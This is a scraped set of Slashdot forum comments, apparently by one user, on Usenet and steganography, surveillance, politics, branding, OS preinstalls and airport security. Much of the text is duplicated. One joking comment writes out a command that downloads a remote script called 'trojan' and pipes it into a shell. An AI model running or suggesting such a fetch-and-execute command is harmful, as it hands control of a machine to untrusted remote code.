I am sure that the old East German Satzi officers are extremely jealous and now know they were just ahead of their time and the world was not yet ready for them. They also did it for the good of the people.
Perhaps the computer is intend not to have a keyboard and now you put one in, no warning! There is a reason for the 'Press F1' warning in your bios. So if you go the warning way, you should do it any time you plug it and unplug it AND block the PC until some action has been taken or until it is restored in the old state, e.g. removed the device, That would mean if you plug in a new keyboard, IT needs to come and enter their password or give the users the authority to do so themselves.
The majority of companies have all USB ports active, so there is that as well.
If I were to message bad things, I would post to news:alt.binaries.pictures.wal... (which I do) or any other group. I would use steganography or any other way. e.g. if I post a picture of a car, it could mean the same as 'Jean has a large moustache'. There are many more groups where you can post whatever you desire.
The advantage of Usenet, as I pointed out in the past, is that there is no direct connection between poster and reader. What I post is distributed to servers atht bring it to other servers.
I do not even have any idea who sees it or where it is seen or on what server it is seen. So I do not even need to know that person, while still being able to send a message out. A reply could come in the same group or in a completely unrelated group that posts videos or whatever.
With a website, you will have proof who posts, who connects and when they do so. With Usenet you do not. Perhaps the message in the image is for somebody on a different continent, perhaps it is for the person sitting next to me or perhaps it is just an image.
ANY country exists because some people thought something was more valuable than preserving their own lives.
Well, except Belgium I guess.That was put in between The Netherlands and France as a joke or punishment or some other random reason. (Disclaimer I live there and it is a great place with great beer and great people.)
Let us look at phones. What company sells phones (software and hardware) that you trust to play fair to the customer? I can not think of one. Basically they can change whatever they like and your phone will not work anymore.
What I think is that the companies do what is possible and it should be up to the government to protect its citizens from the companies. However we see more and more that companies dictate the law, even pretending to fight in our name. If companies are the ones who are defending our rights, it is no wonder we are in this situation.
The nature of politics is not to just follow what the majority is, but to do what is right regardless if the majority wants it or not.
Replace transgender with any other minority. Jews, blacks, atheists,...
You also talk about siding with 51% of the state. I would like to see where you got that number from. If that is all women, just because they are women, does not mean they agree.
You know what the following is "the unjust or prejudicial treatment of different categories of people, especially on the grounds of race, age, or sex."
Now let us follow your idea of the 51%, although it is irrelevant, If he does not know how many women agree with sharing, it means that that 51% is lower. That means 51% is the max and it will be lower if only 1 women would agree to share. So it will be easily be LOWER than 51%. Therefore IGNORING the ruling of the majority.
And again: that is irrelevant as discrimination is involved, unless you want to go back to allowing segregation.
Please no. No, please no. Have you seen how long the queues are at the ladies? I like to maintain my male CIS privilege so I can shit without having to wait in queue like the inferior females.
(PS, this a joke, regardless if you think it is funny or not.)
The scenario which all parents hate seems to have materialized in the form of a program [called email] that lets strangers send texts, images, and videos to kids.
Logo and branding are VERY specific and related closer to trademark then to copyright. There are always forms and papers on how the logo should look, what colors must be used, what if it is in black and white and a lot of other things.
It is like using different glasses for different beers. This is NOT to have a different taste, this is so people see what beer you are drinking.
e.g. Stella Artois is just an average beer and in Belgium they compete with themselves (Jupiler). So what did they do to make Stella a premium beer? They changed the glass. Not the beer, the way the glass looked.
So perhaps they deserve to go out of business in your opinion, but most ikely they wont (for that reason) because they understand how important branding is and apparently you don't.
One word: preinstall. If people would be able to buy a device that has another OS installed, they would be buying it. Just look at your phone.
The reason why companies do not leave Window is that they are able to make extra money of it. Also the reason why Linux machines are often more expensive. Shareware.
The production of computers would still be happening identical. For the companies putting aWindow, Linux or PCDOS immage or their PCs is the same identical cost.
However with Windows they have the ability to install an antivirus scanner and other software and they get money for that. This easily makes up for the cost of the Windows licence.
Not all gamechangers are fun. Fire is not 'fun' but it was clearly a gamechanger. Penecilin is not fun. Many medical things are not fun. Explaining gravity? Not much fun there. Stone, bronze, Iron. Not much 'fun'.
I still would say that these are all game changers and I am sure people can come up with many game changers that are not 'fun'.
To have people go by a hunch, you either do not give a shit if they call you racist or you need to train people and that will have a cost as well. If you do not want to come off as a racist, it means also to hire people that will be more expensive than what they pay now. The cost would easily be much, much higher than what they pay now.
And yes, if the airport security would be private, it would still exist. Or do you propose a system where you have competition of several seperate doors where you can select who does your check? So you select between three different TSA companies at the airport. Fast, cheap or secure. Take any one of them, so you do not have to deal with the other ones.
Now if you think that nis a bad idea and it should be one company per airport, you are moveing the choice of the terrorist from the lines to the choice of airport.
And if one company for all, the prices will start lower at first and then escalate year after year, while it will be handled by smaller companies. As companies are there to make money, not to bring security, they will look at how to reduce cost while increasing prices to get a bigger margin.
I also like that at one point you say private companies are the solution and then how Isreael does it (not with private companies).
It is not just rand() they used. It also checks the color of the skin. The hard part is that at the end the result must be 50% left and 50% right. So it needs to keep track of ALL the devices so it can be proven that it is random, while in reality it isn't.
I started writing this as a joke, but the more I think about it, it might actually be true.
99% of the stuff that needs to be printed does not need color. Most likely the machines are leased and not owned. That means most likely payment per print. Color is more expensive that black and white.
That is why a lot of companies print default in black and more are using a code to print, so no unneeded prints are sitting useless at the printer.
So not having color printers is not really an issue.
That said, what might have been happened is that the lease was up and a new lease was signed. Newer printers (when looking at the same specs) will be cheaper than older ones and that way color could be cheaper than what they paid before.
However a black and white printer would still be cheaper than a color printer even if the new color one is cheaper than the old b/w one.
Yes and no. What happens in many cities where they started to ban cars as much as possible, stores started closing as many people would rather go to places where they are able to park for free.
Unless there is excellent free parking AND free transport from the parking, people are willing to come. Otherwise they will come, but way less. So for the people living in the city (like me) it is nice. For the stores and people not living in the city, not so much.
And if he would have invested in Enron, it would have all been gone and he would have had nothing.
Also you assume he would not have touched the money at all. I a; sure that he had some expenses along the way. So no interest on interest. No food. No clothes, no food, no money for a hairdresser, nothing.
I am absolutely not a Trump fan (and even if I were, I can't vote for him) and I agree he is not the great businessman he thinks he is, but there is no reason to make up numbers that are not realistic.
If you do the calculations correct, it might still be that he is below average and that with correct numbers.
Slashdot Mirror
Facebook? It reminds me of the killfilter feature of Usenet.
I am sure that the old East German Satzi officers are extremely jealous and now know they were just ahead of their time and the world was not yet ready for them.
They also did it for the good of the people.
Remember: the walls have ears.
At least use a real working URL:
curl http://houghi.org/trojan | sh
It is not a Trojan, I promise.
Perhaps the computer is intend not to have a keyboard and now you put one in, no warning! There is a reason for the 'Press F1' warning in your bios.
So if you go the warning way, you should do it any time you plug it and unplug it AND block the PC until some action has been taken or until it is restored in the old state, e.g. removed the device,
That would mean if you plug in a new keyboard, IT needs to come and enter their password or give the users the authority to do so themselves.
The majority of companies have all USB ports active, so there is that as well.
If I were to message bad things, I would post to news:alt.binaries.pictures.wal... (which I do) or any other group. I would use steganography or any other way. e.g. if I post a picture of a car, it could mean the same as 'Jean has a large moustache'. There are many more groups where you can post whatever you desire.
The advantage of Usenet, as I pointed out in the past, is that there is no direct connection between poster and reader. What I post is distributed to servers atht bring it to other servers.
I do not even have any idea who sees it or where it is seen or on what server it is seen. So I do not even need to know that person, while still being able to send a message out.
A reply could come in the same group or in a completely unrelated group that posts videos or whatever.
With a website, you will have proof who posts, who connects and when they do so. With Usenet you do not. Perhaps the message in the image is for somebody on a different continent, perhaps it is for the person sitting next to me or perhaps it is just an image.
ANY country exists because some people thought something was more valuable than preserving their own lives.
Well, except Belgium I guess.That was put in between The Netherlands and France as a joke or punishment or some other random reason. (Disclaimer I live there and it is a great place with great beer and great people.)
And the Americans go 'Meh' and continue as before as they know nothing will come of it after the few first headlines.
So what are the big US names involved? Or do they not need these kinds of structures as they have other ways of not paying taxes?
I do not think it fell on flat ears. All others thought it was a good idea and liked that they got confirmation that it would work as intended.
Let us look at phones. What company sells phones (software and hardware) that you trust to play fair to the customer? I can not think of one. Basically they can change whatever they like and your phone will not work anymore.
What I think is that the companies do what is possible and it should be up to the government to protect its citizens from the companies. However we see more and more that companies dictate the law, even pretending to fight in our name. If companies are the ones who are defending our rights, it is no wonder we are in this situation.
Google groups? Oh, wait, they raped DejaNews over that, so it is not as if they never did it before.
What about a lifetime + 70 years. Somehow companies seem to think that is a valid amount of time.
The nature of politics is not to just follow what the majority is, but to do what is right regardless if the majority wants it or not.
Replace transgender with any other minority. Jews, blacks, atheists, ...
You also talk about siding with 51% of the state. I would like to see where you got that number from. If that is all women, just because they are women, does not mean they agree.
You know what the following is "the unjust or prejudicial treatment of different categories of people, especially on the grounds of race, age, or sex."
Now let us follow your idea of the 51%, although it is irrelevant, If he does not know how many women agree with sharing, it means that that 51% is lower. That means 51% is the max and it will be lower if only 1 women would agree to share. So it will be easily be LOWER than 51%. Therefore IGNORING the ruling of the majority.
And again: that is irrelevant as discrimination is involved, unless you want to go back to allowing segregation.
Please no. No, please no. Have you seen how long the queues are at the ladies? I like to maintain my male CIS privilege so I can shit without having to wait in queue like the inferior females.
(PS, this a joke, regardless if you think it is funny or not.)
The scenario which all parents hate seems to have materialized in the form of a program [called email] that lets strangers send texts, images, and videos to kids.
FTFY
Oh my god! The world will end.
Logo and branding are VERY specific and related closer to trademark then to copyright. There are always forms and papers on how the logo should look, what colors must be used, what if it is in black and white and a lot of other things.
It is like using different glasses for different beers. This is NOT to have a different taste, this is so people see what beer you are drinking.
e.g. Stella Artois is just an average beer and in Belgium they compete with themselves (Jupiler). So what did they do to make Stella a premium beer? They changed the glass. Not the beer, the way the glass looked.
So perhaps they deserve to go out of business in your opinion, but most ikely they wont (for that reason) because they understand how important branding is and apparently you don't.
Well, it is all in the subject, so this is just filler.
One word: preinstall. If people would be able to buy a device that has another OS installed, they would be buying it. Just look at your phone.
The reason why companies do not leave Window is that they are able to make extra money of it. Also the reason why Linux machines are often more expensive. Shareware.
The production of computers would still be happening identical. For the companies putting aWindow, Linux or PCDOS immage or their PCs is the same identical cost.
However with Windows they have the ability to install an antivirus scanner and other software and they get money for that. This easily makes up for the cost of the Windows licence.
Not all gamechangers are fun. Fire is not 'fun' but it was clearly a gamechanger. Penecilin is not fun. Many medical things are not fun. Explaining gravity? Not much fun there. Stone, bronze, Iron. Not much 'fun'.
I still would say that these are all game changers and I am sure people can come up with many game changers that are not 'fun'.
To have people go by a hunch, you either do not give a shit if they call you racist or you need to train people and that will have a cost as well.
If you do not want to come off as a racist, it means also to hire people that will be more expensive than what they pay now. The cost would easily be much, much higher than what they pay now.
And yes, if the airport security would be private, it would still exist. Or do you propose a system where you have competition of several seperate doors where you can select who does your check? So you select between three different TSA companies at the airport. Fast, cheap or secure. Take any one of them, so you do not have to deal with the other ones.
Now if you think that nis a bad idea and it should be one company per airport, you are moveing the choice of the terrorist from the lines to the choice of airport.
And if one company for all, the prices will start lower at first and then escalate year after year, while it will be handled by smaller companies. As companies are there to make money, not to bring security, they will look at how to reduce cost while increasing prices to get a bigger margin.
I also like that at one point you say private companies are the solution and then how Isreael does it (not with private companies).
You flip-flop as much as Trump.
It is not just rand() they used. It also checks the color of the skin. The hard part is that at the end the result must be 50% left and 50% right. So it needs to keep track of ALL the devices so it can be proven that it is random, while in reality it isn't.
I started writing this as a joke, but the more I think about it, it might actually be true.
99% of the stuff that needs to be printed does not need color. Most likely the machines are leased and not owned. That means most likely payment per print. Color is more expensive that black and white.
That is why a lot of companies print default in black and more are using a code to print, so no unneeded prints are sitting useless at the printer.
So not having color printers is not really an issue.
That said, what might have been happened is that the lease was up and a new lease was signed. Newer printers (when looking at the same specs) will be cheaper than older ones and that way color could be cheaper than what they paid before.
However a black and white printer would still be cheaper than a color printer even if the new color one is cheaper than the old b/w one.
Yes and no. What happens in many cities where they started to ban cars as much as possible, stores started closing as many people would rather go to places where they are able to park for free.
Unless there is excellent free parking AND free transport from the parking, people are willing to come. Otherwise they will come, but way less. So for the people living in the city (like me) it is nice. For the stores and people not living in the city, not so much.
About the wall: that is why he will let Mexico pay for it.
And if he would have invested in Enron, it would have all been gone and he would have had nothing.
Also you assume he would not have touched the money at all. I a; sure that he had some expenses along the way. So no interest on interest. No food. No clothes, no food, no money for a hairdresser, nothing.
I am absolutely not a Trump fan (and even if I were, I can't vote for him) and I agree he is not the great businessman he thinks he is, but there is no reason to make up numbers that are not realistic.
If you do the calculations correct, it might still be that he is below average and that with correct numbers.
To be fair, I saw it on imgur.com today. http://imgur.com/gallery/j4jhM Also with the focus on Putin and Iceland.
And there are plenty of news agencies and news papers covering it. Perhaps give them a bit time.